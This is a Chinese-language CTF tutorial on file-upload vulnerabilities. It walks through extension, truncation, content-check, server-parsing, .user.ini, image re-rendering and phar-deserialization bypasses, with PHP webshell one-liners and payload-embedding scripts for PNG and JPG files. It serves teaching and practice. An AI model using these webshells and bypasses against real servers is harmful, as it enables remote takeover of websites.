CTFWEB-文件上传篇
前言
由于使用的ctf平台是内部环境,不便公开,所以本文章只讲述做题思路和方法,练习平台大家自行选择,可以使用在线的ctf平台如:ctfshow、buuctf、bugkuctf等,也可以使用网上公开的靶场upload-labs学习。
Web题目做题思路
第一步
拿到题目后,判断题目利用的漏洞方式为读取、写入、还是执行。在不能马上确定的情况下,就由从低到高,依次挖掘,即先找文件读取、再找文件写入、再找命令执行。这一步先确定出最终要拿到的权限,确定渗透方向。
第二步
判断漏洞的大概类型,或者题目大概的考点,比如,有登入框,就测试sql注入更具题目网站提供的功能点和网站的组件进行判断。这样一步步确定具体的利用思路,实现漏洞利用。
第三步
寻找敏感数据,拿到最终flag。
什么是文件上传漏洞?
如果对文件上传路径变量过滤不严,并且对用户上传的文件后缀以及文件类型限制不严,攻击者可通过 Web 访问的目录上传任意文件,包括网站后门文件(webshell),进而远程控制网站服务器。
所以一般需注意:
在开发网站及应用程序过程中,需严格限制和校验上传的文件,禁止上传恶意代码的文件 限制相关目录的执行权限,防范 webshell 攻击
危害就是上传网站后门文件(获取webshell)
注意:ctf中的文件上传题目大多数都为黑盒测试,做题流程通常都为一个个方法测试进行推测,所以本篇文章中的所有解题思路都有可能用上。
网站检测机制与防护手段
通常网站的检测机制是检查文件后缀,检查后缀分为两种情况
白名单过滤:白名单过滤就是只允许上传它指定的文件后缀如:png、.jpg等,这种过滤在没有其他漏洞辅助的情况下几乎不可能绕过。
黑名单过滤: 顾名思义就是不允许上传它指定的文件后缀,如php,phtml,phps,php3/4/5/6/7这种能解析php脚本的文件后缀,这种主要看他的黑名单写的全不全,因为有很多种办法能解析php。
关键字替换双写绕过
原理:服务端对黑名单中的内容进行处理,且仅处理一次,比如说使用str_replace()函数(函数具体使用自行了解),所以可以通过双写后缀绕过。
使用brup抓包,我们直接上传一个1.php
可以看到返回结果php被去空了,当时文件还是上传了,那么我们尝试使用双写绕过1.pphphp
看到文件上传成功,我们用蚁剑连接即可
如果php后缀替换为txt时,我们无法双写绕过,1.pphphp 1.ptxthp
php文件上传的00截断
其实截断的原理也很简单,无论0x00还是%00,最终被解析后都是一个东西:chr(0)
chr()是一个函数,这个函数是用来返回参数所对应的字符的,也就是说,参数是一个ASCII码,返回的值是一个字符,类型为string。
那么chr(0)就很好理解了,对照ASCII码表可以知道,ASCII码为0-127的数字,每个数字对应一个字符,而0对应的就是NUT字符(NULL),也就是空字符,而截断的关键就是这个空字符,当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。
那么就可以知道00截断的原理了,在后缀中插入一个空字符(不是空格),会导致之后的部分被丢弃,而导致绕过的发生。
如:在文件1.php.jpg中插入空字符变成:1.php.0x00.jpg中,解析后就会只剩下1.php,而空字符怎么插入的呢?
通常我们会用Burp抓包后,在文件名插入一个空格,然后再HEX中找到空格对应的16进制编码“20”,把它改成00(即16进制ASCII码00,对应十进制的0),就可以插入空字符了
这个漏洞比较老条件比较苛刻就不演示了
00字符截断需要的版本
php版本小于5.3.4 而最新的php版本已经达到8.1
java版本小于7u40,而最新的java版本已经达到20以上
iconv字符转换异常后造成了字符截断
php在文件上传场景下的文件名字符集转换时,可能出现截断问题
utf-8字符集 默认的字符编码范围的是0x00-0x7f
iconv转换的字符不在上面这个范围之内,低版本的php会报异常,报了异常以后,后续字符不再处理
就会造成截断问题
123.php%df.jpg 123.php
iconv截断需要的版本
php版本低于5.4才可以使用
黑名单后缀绕过
黑名单绕过的思路就是使用其它可以使网站解析的文件后缀,以php为例,比如:php3,php4,php5,phtml等,这里放张表
就替换个后缀,这里不多说
文件内容检测
文件内容检测常见的有:文件头检测、php标签检测、命令函数检测、传参方式检测。
文件头检测
php标签检测
使用其他php能解析的标签
比如<?= echo 123; ?>
这种短标签
命令函数检测
如果检测eval之类的,用assert即可,有很多能使用,一个个尝试即可
传参方式检测
比如不允许出现post,get,可以使用cookie之类的绕过
上传一句话写有一句话木马的.txt,提示:文件内容非法
这时我们要更改关键字来判断它检测了哪些内容,经过多次测试最后内容为
<?=eval($_COOKIE[1]);
上传我们的1.txt和.user.ini
然后给网站添加cookie
name=1
value=eval(base64_decode('cGhwaW5mbygpOw=='))?>
因为直接写phpinfo不行,所以我们所以base64编码一下,再解码
web服务器的解析漏洞绕过
iis
IIS6.0有2种解析漏洞
1. 目录解析
以*.asp命名的文件夹里的文件都将会被当成ASP文件执行。
2. 文件解析
.asp;.jpg 像这种畸形文件名在“;”后面的直接被忽略,也就是说当成 .asp文件执行。
apache
多后缀解析漏洞
当我们上传apache不认识的后缀时,apahce会继续往前找后缀,找到认识的就解析执行,列如:
123.txt.ctfshow 123.txt 文本文档形式解析
123.php.ctfshow 123.php 就交给中间件处理php脚本
nginx
基于错误的nginx配置 和 php-fpm配置,当我们访问 123.txt/123.php
我们上传一个1.txt
上传成功然后访问/upload/1.txt/1.php
cgi.fix_pathinfo 默认开启 123.txt/123.php 当123.php不存在时,会找/前面的文件进行php解析,这时候,就成功解析了123.txt为php脚本了
.user.ini使用
如果黑名单没有限制.user.ini是可以造成非常大的危害的
我们先上传一个.user.ini文件,文件内容是包含一个1.txt
auto_append_file=123.txt
然后上传123.txt
<?php eval($_POST[1]);?>
然后访问index.php即可
.user.ini高级玩法
.user.ini搭配伪协议
我们拿到题目,还是老样子上传1.txt,发现存在内容检测,经过多次尝试,发现过滤了<?
,于是尝试一下<script language="php"></script>
这个标签,发现能上传,但是不解析,所以包含其他文件这条路就堵死了,我们知道.user.ini可以包含文件,但其实只要环境支持伪协议,我们也是可以包含伪协议的
.user.ini
auto_append_file=php://input
.user.ini包含日志文件
还是上传.user.ini文件,包含日志文件。
nginx
var/log/nginx/access.log
上传html来xss 执行跨站脚本
这个就是没过滤html后缀文件导致xss,其实还有个更骚的思路,直接上传一个写有文件上传功能的html文件,然后访问,在自己上传的html里上传一个shell文件,达成getshell的目的
getimagesize函数绕过
getimagesize函数来检测是不是图片,而不采取其他措施的情况下,如果一旦绕过getimagesize函数,就可以实现任意文件上传
XBM 格式图片
#define %s %d 这种形式,就认为时XBM图片的高或者宽
.user.ini#define width 100;#define height 100;auto_append_file=/var/log/nginx/access.log
看到文件上传成功,我们访问index.php
图片二次渲染绕过
png
顾名思义,就是对我们上传的png文件通过imagepng方法来,来动态依据我们上传的图片的二次生成一个png图片,这样里面的php代码就会被清洗掉
我们先随便上传个文件,发现url有个image=
尝试文件包含发现可以
那我们用我们的脚本生成一个png文件
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
?>
图片生成后上传,显示查看图片,发现图片不一样,经过了二次渲染
gif
对于gif图片,gif图片的特点是无损(修改图片后,图片质量几乎没有损失),我们可以对比上传前后图片的内容字节,在渲染后不会被修改的部分插入木马。对比工具可以使用burp,也可以使用010编辑器(更直观一点)
jpg
直接上脚本,由于jpg图片易损,对图片的选取有很大关系,很容易制作失败
<?php $miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); }
if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); }
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE;
if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); }
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; }
function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } }
class DataInputStream { private $binData; private $order; private $size;
public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); }
public function seek() { return ($this->size - strlen($this->binData)); }
public function skip($skip) { $this->binData = substr($this->binData, $skip); }
public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); }
public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; }
public function eof() { return !$this->binData||(strlen($this->binData) === 0); } }?>
运行脚本命令:
jpg_payload.php 1.jpg
phar文件上传绕过
什么是phar
JAR是开发java程序一个应用,包括所有的可执行、可访问的文件都打包进了一个JAR文件里,使得部署过程十分简单。phar是php里类似与JAR的一种打包文件。对于PHP5.3或更高版本。Phar后缀文件是默认开启支持的,可以使用它。
Phar结构
stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
content:被压缩文件的内容
signature (可空):签名,放在末尾。
注意:Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化
phar文件上传绕过的本质就是phar反序列化,只不过是需要文件上传点,这个条件是非常苛刻的,要对方存在文件上传,存在文件包含并且支持phar伪协议,存在反序列化漏洞。
直接看题吧
<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
#大致意思就是我们要反序列化触发__destruct()方法,就会输出flag
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//post接受一个文件名,如果存在会返回文件的md5值
//upload.php 文件上传页面
?>
我这里不对代码进行过多的讲解了,看注释。
解题步骤:1.生成一个phar文件-->2.在mate-data里放置一个包含TestObject()的序列号字符串-->3.上传文件-->4.md5_file执行phar伪协议,触发反序列化-->5.反序列化TestObject()触发__destruck执行echo $flag
生成phar文件
<?php
class TestObject{
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new TestObject();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
我生成phar的环境使用的是
要在php.ini中修改在这个
然后访问文件,生成phar包,由于有对文件后缀进行白名单过滤,所有修改文件后缀伪jpg
上传文件
包含文件,读取flag
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。